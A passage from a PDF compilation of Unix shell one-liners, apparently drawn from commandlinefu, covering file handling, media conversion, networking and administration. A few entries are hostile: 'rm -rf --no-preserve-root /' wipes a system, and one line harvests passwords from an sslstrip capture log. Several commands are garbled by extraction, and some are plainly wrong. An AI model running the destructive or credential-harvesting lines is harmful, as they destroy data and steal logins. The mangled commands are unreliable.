'5,6 { w out.txt }'

#Can't print correctly. See sample output

# fomat/encode/escape xml
xml fo -e utf-8 file.xml | xml esc

# ll for mac
alias ll='ls -lisaG'
# Delete all files in folder without affecting load
find . -type f -exec echo echo rm {} '|' batch ';'|bash
# Show OSX Login Screen
/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend
# Space used by files listed by ls -lt
ls -lt | awk '{sum+=$5} END {print sum}'
# Add members of one group to another
dsquery group -samid "group_name" | dsmod group "cn=group_name",dc=example,dc=com" -addmbr
# Prevent overwriting file when using redirection
set -o noclobber
# Update the working tree to the latest git commit
git log -g --pretty=oneline | grep '}: commit' | awk '{print $1}' | head -1 | xargs git
checkout -f
# fix nvidia-settings display error
nvidia-settings -a AssociatedDisplays=0x00010000
# Which files/dirs waste my disk space
du -h / | grep -w "[0-9]*G"
# edit a executable script
vie(){vi $(which $1)}
# Execute git submodule update in parallel with xargs
git submodule status | awk '{print $2}' | xargs -P5 -n1 git submodule update --init
# Java app with dynamic classpath
java -jar app.jar -cp $(echo lib/*.jar | tr ' ' ':')
# Simple calendar from google spanning the width of the terminal
gcalcli --mon --width $((COLUMNS/8)) calw 2
# Show the network stats for a given day
sar -n DEV -f /var/log/sa/sa05 |awk '{if ($3 == "IFACE" || $3 == "eth0" || $2 == "eth0")
{print}}'
# Delete posts from MyBB Board as User
curl --cookie name=<cookie_value> --data-urlencode
name=my_post_key=<post_key>\&delete=1\&submit=Delete+Now\&action=deletepost\&pid=$c --useragent Firefox\ 3.5 --url http://url/editpost.php?
my_post_key=<post_key>\&delete=1\&submit=Delete+Now\&action=dele
# Export usernames and passwords from sslstrip log
grep -i -f password_tokens sslstrip.log | awk ' BEGIN { RS="&" } { print $1 }' | grep -i -f
tokens_file

463 / 658

All UNIX COMMANDS


# Wait the end of prog1 and launch prog2
while pkill -0 prog1; do sleep 10; done; prog2
# dd with progress bar and remaining time displayed
SIZE=`fdisk -s /dev/sdx`; dd if=/dev/sdx bs=1M | pv -s "$SIZE"k > hdd.img
# Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
ssh <user>@<host> 'mkdir -m 700 ~/.ssh; echo ' $(< ~/.ssh/id_rsa.pub) ' >>
~/.ssh/authorized_keys ; chmod 600 ~/.ssh/authorized_keys'
# Embed .torrent in a .jpg file
exiftool '-comment<=ubuntu-11.10-alternate-i386.iso.torrent' hello.jpg
# VIM: Go back to the last place you were in a document
''
# List all symbolic links in current directory
find . -maxdepth 1 -type l
# Revoke an existing user's group memberships and add another user to those same groups,
sed -i.awkbak "s/\([:,]\)oldspiderman/\1newspiderman/" /etc/group
# Force eject of CD on OSX
hdiutil eject -force /Volumes/CDNAME
# Print the total lines number of a file
nl FILE_NAME | tail -n 1

# Search packages beginning with the letter


aptitude search ~n^s.*
# Just removes everything
rm -rf --no-preserve-root /
# Stream a video file as live stream
ffmpeg -re -i localFile.mp4 -c copy -f flv rtmp://server/live/streamName
# See whether your compiled Apache is prefork or worker MPM
/usr/sbin/httpd -l
# Get thread count for process on Solaris
ps -L -p <pid> | wc -l
# Display $PATH with one line per entry
echo -e ${PATH//:/\\n} | less
# Create a template for WebLogic 9 or 10
pack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar
-template_name="mydomain"
# Generate trigonometric/log data easily
seq 8 | awk '{print "e(" $0 ")" }' | bc -l
# to display all characters except second last character from each line of a file
sed 's/^\(.*\)\(.\)\(.\)$/\1\3/' fileName
# Write a bootable Linux .iso file directly to a USB-stick

464 / 658

All UNIX COMMANDS


wget -O/dev/sdb ftp://ftp.debian.org/debian/dists/stable/main/installeramd64/current/images/netboot/mini.iso
# Save the debconf configuration of an installed package
debconf-copydb configdb copydb --pattern=<PACKAGE> --config="Name: copydb" --config="Driver:
File" --config="Filename: ~/copydebconf.dat"
# Pipes the output of the previous command into less.
!! | less
# clean php files from base64_decode() hack
for f in `find . -name "*.php"`; do perl -p -i.bak -e 's/<\?php \/\*\*\/ eval\
(base64_decode\(\"[^\"]+"\)\);\?>//' $f; done
# Backup a whole database to a file
mysqldump -p MYDB > MYDB.sql
# Bash to add color to your Linux command line
PS1="\[\e[37;40m\][\[\e[32;40m\]\u\[\e[37;40m\]@\h \[\e[35;40m\]\W\[\e [0m\]]\\$ \
[\e[33;40m\]"
# Grabs video from HD firewire camera, saves it on file and plays it scaled down on
ffplayer.
dvgrab -t -noavc -nostop -f hdv capturefile - | ffplay -x 640 -y 360
# statistic of the frequnce of your command from your history&#12290;
history | awk '{CMD[$4]++;count++;} END { for (a in CMD )print CMD[a] " " CMD[a]/count*100
"% " a }' | sort -nr | nl | column -t | head -n 10
# Create a CD/DVD ISO image from disk.
cat /dev/cdrom > ~/img.iso
# Alias for lazy tmux create/reattach
alias ltmux="if tmux has-session -t $USER; then tmux attach -t $USER; else tmux new -s
$USER; fi"
# look some php code by some keywords
grep -r --include=*.php "something" /foo/bar
# Create a hard-to-guess password
dd if=/dev/urandom bs=16 count=1 2>/dev/null | base64
# List files recursively sorted by modified time
find /home/fizz -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort
# get events from google calendar for a given dates range
wget -q -O - 'URL/full?orderby=starttime&singleevents=true&start-min=2009-06-01&startmax=2009-07-31' | perl -lane '@m=$_=~m/<title type=.text.>(.+?)</g;@a=$_=~m/startTime=.
(2009.+?)T/g;shift @m;for ($i=0;$i<@m;$i++){ print $m[$i].",".$a[$i];}';
# Unpack and build a WebLogic 9 or 10 domain
unpack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar
# give record size of given record-structured file
fname=$1;f=$(ls -la $fname);fsz=$(echo $f|awk '{ print $5 }');nrrec=$(wc -l $fname|awk
'{ print $1 }');recsz=$(expr $fsz / $nrrec);echo "$recsz"

# Chmod all directories (excluding files)

465 / 658

All UNIX COMMANDS


find public_html/ -type d -exec chmod 775 {} \;
# Import a debconf configuration (from a copydebconf.dat file)
debconf-copydb copydb configdb --config="Name: copydb" --config ="Driver: File"
--config="Filename: ~/copydebconf.dat"
# Rip from mp3 stream mplayer
mplayer -cache 100 -dumpstream http://listen.di.fm/public3/drumandbass.pls -dumpfile
music.mp3
# Removed my commandlinefu.com entries
rm -rf /commands/by/fukr
# Find Files Which Should Be Executable But Are Not
find . -type f ! -perm /u+x -printf "\"%p\"\n" | xargs file | grep -i executable
# Convert uppercase to lowercase extensions
find . -type f -name *.MP3 -print0 | xargs -0 -i rename .MP3 .mp3 {}
# creating an USB Image
sudo dd if=/your.img of=/dev/rdiskx bs=1m
# Descargar video desde youtube en linux
youtube-dl urldelvideoyoutube
# Show numerical values for each of the 256 colors in ZSH
for i in {0..255}; do echo -e "\e[38;05;${i}m\\\e[38;05;${i}m"; done | column -c 80 -s '
echo -e "\e[m"

';

# count match string lines from file(s)


grep -c "search_string" /path/to/file
# Create a nifty overview of the hardware in your computer
sudo lshw -html > /tmp/hardware.html && xdg-open /tmp/hardware.html
# Command line invocation of ImageMagick to resize a file
convert panorama_rainbow_2005.jpg -resize 40% panorama_rainbow_compress.jpg
# convert a .mp4 to a .avi
ffmpeg -i "/path/to/file.mp4" "/path/to/file.avi"
# Convert CSV files to TSV
sed 's/,/\t/g' report.csv > report.tsv
# Remove lines matching a pattern in files (backup any modified files)
pattern='regexp_pattern'; find . -type f -perm +220 ! -name '*.bak' -print0 | xargs -0 egrep
-lZ $pattern | xargs -0 sed -i.bak -e "/$pattern/d"
# Get Unique Hostnames from Apache Config Files
cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s " " | sed
's/^[ ]//g' | uniq | cut -d ' ' -f 2 | sed 's/www.//g' | sort | uniq
# Generate list of words and their frequencies in a text file.
tr A-Z a-z | tr -d 0-9\[\],\*-.?\:\"\(\)#\;\<\>\@ | tr ' /_' '\n' | sort | uniq -c
# Define Google Talk plugin urpmi media source for Mandriva/Mageia (works for both 32-bit
and 64-bit systems)
urpmi.addmedia --update google-talkplugin http://dl.google.com/linux/talkplugin/rpm/stable/$
(uname -m | sed -e "s/i.86/i386/")

466 / 658

All UNIX COMMANDS


# Change time format in log, UNIX Timestamp to Human readable
sed -r 's/(\[|])//g' | awk ' { $1=strftime("%D %T",$1); print }'
# Suspend to RAM with KDE 4
qdbus org.freedesktop.PowerManagement /org/kde/Solid/PowerManagement suspendToRam
# Generate a password for website authentication that can be recreated each time you need
to authenticate without saving the password
echo http://www.TheWebSiteName.com privatekeyword | md5sum | awk '{print substr($0,0,10)}'
# Cycle through all active screen sessions
for s in /tmp/screens/S-$USER/*; do screen -r "$(basename "$s")"; done
# get size of a file
ls -lh file-name | awk '{ print $5}'
# Filter IP's in apache access logs based on use
cut -d ' ' -f 1 /var/log/apache2/access_logs | uniq -c | sort -n
# Tar (stripped paths) found files by regexp from <PATH>, then remove
find <PATH> -maxdepth 1 -type f -name "server.log*" -exec tar czPf '{}'.tar.gz
--transform='s|.*/||' '{}' --remove-files \;

# VLC transcode for OSX


/opt/homebrew-cask/Caskroom/vlc/2.1.0/VLC.app/Contents/MacOS/VLC --sout-avcodec-strict=-2 -I
dummy $video
:sout="#transcode{vcodec=h264,vb=1024,acodec=mpga,ab=256,scale=1,channels=2,audiosync}:std{access=file,mux=mp4,dst=${video}.m4v}" vlc://quit
# Convert AVI to WMV
ffmpeg -i movie.avi -s 320x240 -b 1000k -vcodec wmv2 -ar 44100 -ab 56000 -ac 2 -y movie.wmv
# String Capitalization
echo "${STRING}" | tr '[A-Z]' '[a-z]' | awk '{print toupper(substr($0,1,1))substr($0,2);}'
# This command will shorten any URL the user inputs. What makes this command different is
that it utilizes 5 different services and gives you 5 different outputs.
curl -s http://tinyurl.com/create.php?url=$1 \ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z09][a-z0-9]*\).*/\1/p' \ | uniq ; curl -s http://bit.ly/?url=$1 \ | sed -n 's/.*\(shortenedurl"...............
# List only those files that has all uppercase letters in their names (e.g. README)
ls | grep '^[A-Z0-9]*$'
# Persistent saving of iptables rules
cd /etc/network/if-up.d && iptables-save > firewall.conf && echo -e '#!/bin/sh -e\niptablesrestore < $(dirname $0)/firewall.conf' > iptables && chmod a+x iptables
# Figure out if your kernel has an option enabled
zgrep CONFIG_MAGIC_SYSRQ /proc/config.gz
# See who are using a specific port
netstat -Aan | grep .80 | grep -v 127.0.0.1 | grep EST | awk '{print $6}' | cut -d "."
-f1,2,3,4 | sort | uniq
# Halt system with KDE?4
qdbus org.kde.ksmserver /KSMServer logout 0 2 2

467 / 658

All UNIX COMMANDS


# Get dimensions of an image.
identify path/to/image.jpg | awk '{print $3;}'
# Extract all archives from current folder, each archive in its own folder.
for ARG in * ; do sudo -u USER 7z x -o"$(echo $ARG|sed 's/\(.*\)\..*/\1/')" "$ARG" ; done
# Locate and cd to <portname> if it exists in the ports tree
`whereis -sq portname`
# A way to query from the CLI all users in a Active Directory domain using wbinfo.
wbinfo - Get all users group membership, with primary group starred (Red description for
full command)
# List RPM packages installed in current tree
find $PWD -exec rpm --query -f {} \; | sort -u | grep -v "not owned"
# traverses directories of $host and $share to
for host in *; do { if [ -d $host ]; then { cd
$share ]; then { cd $share; rsync -av --delete
1>../$share.log; cd ..; }; fi; }; done; cd ..;

created a unified place for rsync backups


${host}; for share in *; do { if [ -d
rsyncuser@$host::$share . 2>../$share.err
}; fi; }; done;

# Currency converter using xe.com


xe(){ curl "http://www.xe.com/wap/2co/convert.cgi?Amount=$1&From=$2&To=$3" -A "Mozilla" -s |
sed -n "s/.*>\(.*\) $3<.*/\1/p";}
# Play all files in the directory using MPlayer
mplayer -playlist <(find "$PWD" -type f)
# Have Google Translate speak to you using your local speakers
function say { mplayer -really-quiet "http://translate.google.com/translate_tts?tl=en&q=$1";
}
# See the total amount of data on an AIX machine
print "$(lsvg -Lo |xargs lsvg -L|grep "TOTAL PPs"|awk -F"(" '{print$2}'|sed -e "s/)//g" -e
"s/megabytes/+/g"|xargs|sed -e "s/^/(/g" -e "s/+$/)\/1000/g"|bc ) GB"
# Get list of servers with a specific port open
nmap -sT -p 80 --open 192.168.1.1/24
# import sql
source MYFILE.sql
# Convert YAML to JSON
python -c 'import sys, yaml, json; json.dump(yaml.load(sys.stdin), sys.stdout, indent=4)' <
file.yaml > file.json
# Decrypt SSL
openssl pkcs8 -in /etc/pki/tls/web.key -out /root/wc.key -nocrypt && tshark -o
"ssl.desegment_ssl_records:TRUE" -o "ssl.desegment_ssl_application_data:TRUE" -o
"ssl.keys_list:,443,http,/root/wc.key" -o "ssl.debug_file:rsa.log" -R "(tcp.port eq 443)"
# List files in an RPM package
rpm --query --filesbypackage [packagename]
# Find which process is using a port on Solaris
ps -ef | grep user | awk '{print $2}' | while read pid; do echo $pid ; pfiles $pid| grep
portnum; done

468 / 658

All UNIX COMMANDS


# Equivalent to ifconfig -a in HPUX
netstat -in
# Check whether laptop is running on battery or cable
acpi -b | sed 's/,//g' | awk '{print $3}'
# Generate an over-the-top UUID
printf $(( echo "obase=16;$(echo $$$(date +%s%N))"|bc; ip link show|sed -n '/eth/ {N; p}'|
grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'|head -c 17 )|tr -d [:space:][:punct:]
|sed 's/[[:xdigit:]]\{2\}/\\x&/g')|sha1sum|head -c 32; echo
# display memory usage of a process
TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo rss,comm |
grep [h]ttpd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`echo "scale=4;
( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $PROC_PCT%"
# Reads a list of urls, fetches each one and logs the url and http status code
grep "$1" urls.txt | awk '{print "curl --write-out "$0"=http-%{http_code}\"\n\" --silent
--output /dev/null "$0'} | sh >> responses.txt
# Substring directory name match cd
ccd () { cd *$1*; }
# save stderr only to a file
command 3>&1 1>&2 2>&3 | tee -a file
# I/O activity on a machine
watch -n 1 'iostat -xmd 1 2'
# List directory sorted by last modified date. Tail of it.
ls -ls -tr | tail
# Download all images on a 4chan thread
read -p "Please enter the 4chan url: "|egrep '//i.4cdn.org/[a-z0-9]+/src/([0-9]*).(jpg|png|
gif)' - -o|nl -s https:|cut -c7-|uniq|wget -nc -i - --random-wait
# Unlock your KDE4 session remotely (for boxes locked by KDE lock utility)
qdbus org.kde.krunner_lock /MainApplication quit; qdbus org.kde.plasma-overlay
/MainApplication quit
# Check whether laptop is running on battery or cable
while true;do clear;echo -n Current\ `grep voltage /proc/acpi/battery/BAT0/state | awk
'{print $2" "$3" "$4}'`;for i in `seq 1 5`;do sleep 1;echo -n .;done;done
# Generate list of words and their frequencies in a text file.
tr -cs A-Za-z '\n' | sort | uniq -ci
# Prints out, what the users name, notifyed in the gecos field, is
finger | grep $(whoami) | head -n1 | awk '{print $2 " " $3}'
# recursively change file name from uppercase to lowercase (or viceversa)
for i in $(find . -type f); do mv "$i" "$(echo $i|tr A-Z a-z)"; done
# Destroy file contents after encryption
gpg -e --default-recipient-self <SENSITIVE_FILE> && shred -zu "$_"
# Shuffle songs with mplayer (sub-dirs too.)
mplayer -shuffle $HOME/music/* $HOME/music/*/* $HOME/music/*/*/* etc.
# Sort files by size

469 / 658

All UNIX COMMANDS


ls -l | sort +4n for ascending order or ls -l | sort +4nr for descending order
# Empty a file
> file.txt
# Simple way to share a directory over http without touching your router
python -m SimpleHTTPServer 8000 &; sudo localtunnel -k ~/.ssh/id_rsa.pub 8000
# strace a program
strace -ttvfo /tmp/logfile -s 1024 program
# External IP (raw data)
curl icanhazip.com
# Create a simple backup
tar pzcvf /result_path/result.tar.gz /target_path/target_folder
# AIX : onliner to reset failed login count for user
chsec -f /etc/security/lastlog -a "unsuccessful_login_count=0" -s 'aix user'
# Check whether laptop is running on battery or cable
cat /proc/acpi/battery/BAT0/state

# Convert ascii string to hex


echo "text" | od -t x1
# Get memory total from /proc/meminfo in Gigs
awk '( $1 == "MemTotal:" ) { print $2/1048576 }' /proc/meminfo
# Recursively list all of the files in a directory, group them by extension and calculate
the average of the file sizes in each group
ls -r | ?{-not $_.psiscontainer} | group extension | select name, count, @{n='average';
e={($_.group | measure -a length).average}} | ft -a @{n='Extension'; e={$_.name}}, count,
@{n='Average Size (KB)'; e={$_.average/1kb}; f='{0:N2}'}
# Remove all lines beginning with words from another file
for wrd in `cat file2` ; do
sed -i .bk "/^$wrd/d" file1; done
# Alphanumeric incrementating (uppercase)
for ((i=65;i<91;i++)); do printf "\\$(printf '%03o' $i) "; done
# Edit file without changing the timestamp
edit-notime () { FILE=$1; TMP=`mktemp /tmp/file-XXXXXX`; cp -p $FILE $TMP; $EDITOR $TMP;
touch -r $FILE $TMP; cp -p $TMP $FILE; rm -f $TMP; }
# Converter mkv (Blu-Ray_1280x540_AAC_5.1]_[10Bit]) para mp4 sem perder a qualidade
ffmpeg -i input.mkv -vcodec copy -acodec copy -absf aac_adtstoasc output.m4v
# Backup a directory structure
BEGIN=`date`; rsync -avxW /home/ /backups/home ; echo "Begin time: $BEGIN" ; echo "End
time..: `date`"
# postgresql : drop all tables from a schema
psql -h <pg_host> -p <pg_port> -U <pg_user> <pg_db> -t -c "select 'drop table \"' ||
tablename || '\" cascade;' from pg_tables where schemaname='public'" | psql -h <pg_host> -p
<pg_port> -U <pg_user> <pg_db>
# iMovie compatible ffmpeg transcoding

470 / 658

All UNIX COMMANDS


ffmpeg -i $video -c:v prores -profile:v 2 -c:a copy ${video}.mov
# Convert PDFLaTeX PDF to Illustrator-usable EPS
gs -dNOCACHE -dNOPAUSE -dBATCH -dSAFER -sDEVICE=epswrite -dEPSCrop -sOutputFile=out.eps
in.pdf
# Filtering IP address from ifconfig usefule in scripts
IPADDR=`ifconfig eth0 | grep -i inet | awk -F: '{print $2}'| awk '{print $1}'`
# Show the files that you've modified in an SVN tree
svn status | egrep '^(M|A)' | egrep -o '[^MA\ ].*$'
# add random color and external ip address to prompt (PS1)
IP=$(nslookup `hostname` | grep -i address | awk -F" " '{print $2}' | awk -F# '{print $1}' |
tail -n 1 ); R=3$((RANDOM%6 + 1)); PS1="\n\[\033[1;37m\]\u@\[\033[1;$R""m\]\h^$IP:\
[\033[1;37m\]\w\$\[\033[0m\] "
# Reorder file with max 100 file per folder
find files/ -type f | while read line; do if [ $((i++%100)) -eq 0 ]; then mkdir $((+
+folder)); fi; cp $line $folder/; done
# xpath function
xpath () { xmllint --format --shell "$2" <<< "cat $1" | sed '/^\/ >/d' }
# save login cookie
curl -c cookie.txt -d username=hello -d password=w0r1d http://www.site.com/login
# Get tagged flashcards from Anki databases
for i in `ls *.anki`; do sqlite3 $i "select (cards.question || '||' || cards.answer) from
cards, facts where cards.factid=facts.id and facts.tags like '%mytag%';" >> mytag.csv; done
# don't have video stop at EOF while it is downloading
mplayer <(tail -fc +0 <filename>)
# top ten shell command in bash shell
cat ~/.bash_history | perl -lane 'if($F[0] eq "sudo"){$hash{$F[1]}++}else{$hash{$F[0]}++};
$all++;END {@top = map {[$_, $hash{$_}]} sort {$hash{$b}<=>$hash{$a}} keys
%hash;printf("%10s%10d%10.2f%%\n", $_->[0],$_->[1],$_->[1]/$all*100) for @top[0..9]}'
# List MP3 albums (e.g. on iPod etc.)
MP3TAG_DECODE_UTF8=0 mp3info2 -p "%a - %l\n" -R . | sort | uniq
# Show reason of revocation for 0xDEADBEEF with gpg.
gpg --export 0xDEADBEEF | gpg --list-packets | grep -Pzao ':signature
packet:.*\n\t.*sigclass 0x20(\n\t.*)*'
# Encrypt/decrypt a string from the command line
echo 'HelloWorld!' | gpg --symmetric | base64
# IBM AIX: Calculate the SHA256 hashes of a directory without sha256sum
echo '#! /usr/bin/ksh\necho `cat $1 | openssl dgst -sha256` $1' > sslsha256; chmod +x
sslsha256; find directory -type f -exec ./sslsha256 \{\} \;
# postgresql : drop all sequences from the public schema
psql -h <ph_host> -p <pg_port> -U <pg_user> <pg_db> -t -c "select 'drop sequence \"' ||
relname || '\" cascade;' from pg_class where relkind='S'" | psql -h <ph_host> -p <pg_port>
-U <pg_user> <pg_db>

471 / 658

All UNIX COMMANDS


# Install a library to a remote repository
mvn deploy:deploy-file -DgroupId=groupId -DartifactId=artifactId -Dversion=1.0
-Dpackaging=jar
-Dfile=pathtolib -DrepositoryId=repository -Durl=url
# get the list of temps for your hard-drives
hddtemp /dev/sda /dev/sdb /dev/hda /dev/hdb | gawk '{print $NF}' | perl -n -e '$_ =~ s/
(\d+)/print "$1 "/eg }{ print "\n"'
# Get your public ip using dyndns
curl -s 'http://www.loopware.com/ip.php'
# Ramp the system volume up 5%
aumix -v +5
# send cookie
curl -b cookie.txt http://www.site.com/download/file.txt
# Send SVN diff to Meld
svn diff --diff-cmd='meld' -r 100:BASE FILE
# Print free RAM in MB
free -m | awk '/cache:/ {print $4}'
# firefox ascii logo
curl -s http://people.mozilla.com/~faaborg/files/shiretoko/firefoxIcon/firefox-64.png |
convert - jpg:- | jp2a --color --html -> firefox.html
# Create a tar archive from a text list without trailing slash in directories
cat list.txt | pax -wd > archive.tar
# Minimize active window
xdotool windowminimize $(xdotool getactivewindow)
# IBM AIX: Extract a .tar.gz archive in one shot
gzip -cd gzippedarchive.tar.gz | tar -xf # convert a mp4 video file to mp3 audio file (multiple files)
for f in *.mp4; do avconv -i "$f" -b 256k "${f%.mp4}.mp3"; done
# Creat a new user with no shell. Useful to provide other services without giving shell
access.
useradd -s /sbin/nologin nicdev
# print latest (top 10, top 3 or *) commandlinefu.com commands
wget -qO - http://www.commandlinefu.com/feed/tenup | xmlstarlet sel -T -t -o '&lt;x&gt;' -n
-t -m rss/channel/item -o '&lt;y&gt;' -n -v description -o '&lt;/y&gt;' -n -t -o
'&lt;/x&gt;' | xmlstarlet sel -T -t -m x/y -v code -n
# Outputs a 10-digit random number
echo $RANDOM$RANDOM$RANDOM |cut -c3-12
# Check whether laptop is running on battery or cable
pmset -g batt
# os x version
# Ignore subdirectories in subversion
find . -type d -not \( -name .svn -prune \) -exec svn propset svn:ignore '*' {} \;
# GREP a PDF file.
grep -i '[^script$]' 1.txt

472 / 658

All UNIX COMMANDS


# Convert .ogg to .avi
mencoder -idx a.ogg -ovc lavc -oac mp3lame -o b.avi
# get a random command
find $(echo "$PATH" | tr ':' ' ') -name "*program*"
# Losslessly optimize JPEG files for file size
jpegtran -optimize -outfile temp.jpg <JPEG> && mv temp.jpg "$_"
# Access to a SVN repository on a different port
sudo svn co svn+ ciccio_diverso://root@192.160.150.151/svn-repo/progettino
# Filter Android log output by PID
adb shell ps | grep my.app.packagename | awk '{print $2}' | xargs -I ? sh -c "adb logcat -v
time | grep ?"
# Pretend your shell is MS-DOS command.com
export PROMPT_COMMAND=$PROMPT_COMMAND'; export PWD_UPCASE="${PWD^^}"'; export PS1='C:$
{PWD_UPCASE//\\//\\\\}>'
# Command to kill PID
ps auxww | grep application | grep processtobekilled | gawk '{print $2}' | grep -v grep |
xargs kill -9

# Get user's full name in Mac OS X


finger `whoami` | awk -F: '{ print $3 }' | head -n1 | sed 's/^ //'
# Sync a remote mysql database to a local db via SSH
ssh <remoteuser>@<remoteserver> \ 'mysqldump -u <user> -p<password> <database>' \ | mysql -u
<user> -p<password> <database>
# Maximize active window
wmctrl -r :ACTIVE: -b add,maximized_vert; wmctrl -r :ACTIVE: -b add,maximized_horz
# IBM AIX: Verify a sha256sum listing with openssl
echo '#! /usr/bin/ksh\ncat $2 | openssl dgst -sha256 | read hashish; if [[ $hashish = $1 ]];
then echo $2: OK; else echo $2: FAILED; fi;' > shacheck; chmod +x shacheck; cat
hashishes.sha256 | xargs -n 2 ./shacheck;
# Convert a .ogv recording (eg from recordmydesktop in Gnome/Linux) into a .wmv (eg for
playback in Windows)
ffmpeg -i input.ogv -qscale 0 output.wmv # convert .ogv to .wmv
# replace @ symbol with new line character, to get new line character press Ctrl+v+enter -->
^M
%s/@/^v[M]/g
# Show a script or config file without comments
egrep -v "^[[:blank:]]*($|#|//|/\*| \*|\*/)" somefile
# View a random xkcd comic
wget -q http://dynamic.xkcd.com/comic/random/ -O-| sed -n '/<img
src="http:\/\/imgs.xkcd.com\/comics/{s/.*\(http:.*\)" t.*/\1/;p}' | awk '{system ("wget -q "
$1 " -O- | display -title $(basename " $1") -write /tmp/$(basename " $1")");}'
# Show the command line of a process that use a specific port (ubuntu)
port=8888;pid=$(lsof -Pan -i tcp -i udp | grep ":$port"|tr -s " " | cut -d" " -f2); ps -Afe|
grep "$pid"|grep --invert-match grep | sed "s/^\([^ ]*[ ]*\)\{7\}\(.*\)$/\2/g"

473 / 658

All UNIX COMMANDS


# Status of Snow Armageddon in Washington DC Metro from the command line...
/usr/bin/links --source http://weather.noaa.gov/pub/data/forecasts/zone/md/mdz009.txt
# List a phone's filesystem with bitpim
bitpim -p $PHONE_PORT ls
# shutdown pc in a 4 hours
shutdown -h $((60 * 4))
# batch download jpgs which are in sequence
curl -O http://www.site.com/img/image[001-175].jpg
# Show all archives.
la
# open a screenshot of a remote desktop via ssh
ssh user@host "ffmpeg -f x11grab -s 1920x1080 -i :0 -r 1 -t 1 -f mjpeg -" | display
# Flush DNS in Mac OS X
dscacheutil ?flushcache
# SoftHangup --Request a hangup on a given channel - in Asterisk 1.6.2:
soft hangup Zap/1-1
# Suspend to RAM with KDE 4
dbus-send --system --print-reply --dest="org.freedesktop.UPower" /org/freedesktop/UPower
org.freedesktop.UPower.Suspend
# launch bash without using any letters
$0
# Blink Caps Lock on HDD activity
dstat -d --nocolor --noheaders|xargs --max-args=2|while read status; do if [ "$status" == "0
0" ]; then setleds -L -caps < /dev/console; else setleds -L +caps < /dev/console; fi; done
# Get the Last tweet (Better than Twitter feed rrs)
lynx --dump twitter.com/(username) | sed -n "132,134 p"
# Display terminal command history with date
echo 'export HISTTIMEFORMAT="%d/%m/%y %T "' >> ~/.bash_profile
# truncate deleted files from lsof
lsof | grep -i deleted | grep REG | grep -v txt | ruby -r 'pp' -e 'STDIN.each do |v| a =
v.split(/ +/); puts `:> /proc/#{a[1]}/fd/#{a[3].chop}`; end'
# Show an alphabetized list of all mcollective nodes
mco ping | head -n -4 | awk '{print $1}' | sort
# Send current job to the background
^Z then bg

# ls to show hidden file, but not . or ..


ls -A
# Recursive grep of all c++ source under the current directory
grep -R --include=*.cpp --include=*.h --exclude=*.inl.h "string" .

474 / 658

All UNIX COMMANDS


# Commands to setup my new harddrive! #4 Step! Try to recover as much as possible
ddrescue -r 1 /dev/old_disk /dev/new_disk rescued.log
# Download YouTube music playlist and convert it to mp3 files
yt-pl2mp3() {umph -m 50 $1 | cclive -f mp4_720p; IFS=$(echo -en "\n\b"); for track in $(ls |
grep mp4 | awk '{print $0}' | sed -e 's/\.mp4//'); do (ffmpeg -i $track.mp4 -vn -ar 44100
-ac 2 -ab 320 -f mp3 $track.mp3); done; rm -f *.mp4}
# Today's elimination of a world threat
rm -rf /bin/laden
# mount starting sector of the partition we want to mount
mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path
# Play flash videos in VLC
find -L /proc/`ps aux | grep [f]lash | awk '{print $2}'`/fd/ | xargs file -L | grep Video |
awk '{sub(/:/, ""); print $1}' | xargs vlc
# Synchronize date and time with a server over ssh
date `ssh user@server date "+%y%m%d%H%M.%S"`
# Clear the terminal screen
Ctrl+Shift+x
# Prefix file contents with filename
strings -f sample.txt
# Live stream a remote desktop over ssh using only ffmpeg
ssh user@host "ffmpeg -f x11grab -r 5 -s 1280x720 -i :0 -f avi -" | ffplay - &>/dev/null
# change to the previous working directory
cd # Remove lines ending or trailing slash (/)
sed -i 'g/text/d' <filename>
# Get a list of HTTP status codes
curl http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html 2>/dev/null | grep '^<h3' | grep
-v '^\d' | perl -pe 's/^.*(?<=(\d\d\d)) (.*)<\/h3>$/$1 : $2/' | grep -v h3
# Generic date format
date --iso
# #3 Step! FIrst Pass quickly!
ddrescue -n /dev/old_disk /dev/new_disk rescued.log
# Animated Desktop: electricsheep
nice -n 5 electricsheep -window-id `xwininfo -root|head -n 2|grep xwininfo|cut -c 22-26`
# split a string (2)
read VAR1 VAR2 VAR3 <<< aa bb cc; echo $VAR2
# Play flash video in the cache (loaded) with mplayer
alias flashplay="mplayer \$(find /proc/\$(pgrep -f 'libgcflash|libflashplayer')/fd/ -printf
'%p %l\n' |grep FlashXX | cut -d\ -f1)"
# Remove superfluous from conf file
grep -Ev '^( *$|#)' < conf.file
# Print all words in a file sorted by length

475 / 658

All UNIX COMMANDS


for a in $(cat sample.txt); do echo "$(wc -m<<<$a) $a";done|sort -n
# Mirror site with rel-links, 20s delay via Wget
wget -mk -w 20 http://www.example.com/
# List all the unique extensions in a folder and print their count
find . -type f -print | awk -F'.' '{print $NF}' | sort | uniq -c
# Download and extract a tarball on a fly, saving it
wget -O- http://example.com/mytarball.tgz | tee mytarball.tgz | tar xzv
# display bash history without line numbers
history | awk '{$1="";print substr($0,2)}'

# External IP (raw data)


curl ifconfig.me
# Save a result based on a command's output in a variable while printing the command output
num_errs=`grep ERROR /var/log/syslog | tee >(cat >&2) | wc -l`
# Play a random .avi file from a media tree
unset files i; set -f; O=$IFS; while IFS= read -r -d $'\0' files[i++]; do :; done < <(find .
-name '*.avi' -print0) && IFS=$O; set +f && echo "Running: mplayer \"${files[ $(( $RANDOM %
${#files[@]} )) ]}\""
# Toggle cdrom device
eject -T [cdrom_device]
# regex to match an ip
echo 254.003.032.3 | grep -P '^((25[0-4]|2[0-4]\d|[01]?[\d]?[1-9])\.){3}(25[0-4]|2[0-4]\d|
[01]?[\d]?[1-9])$'
# Find out my Linux distribution name and version
cat /proc/version
# Generate Random Passwords
openssl rand 6 -base64
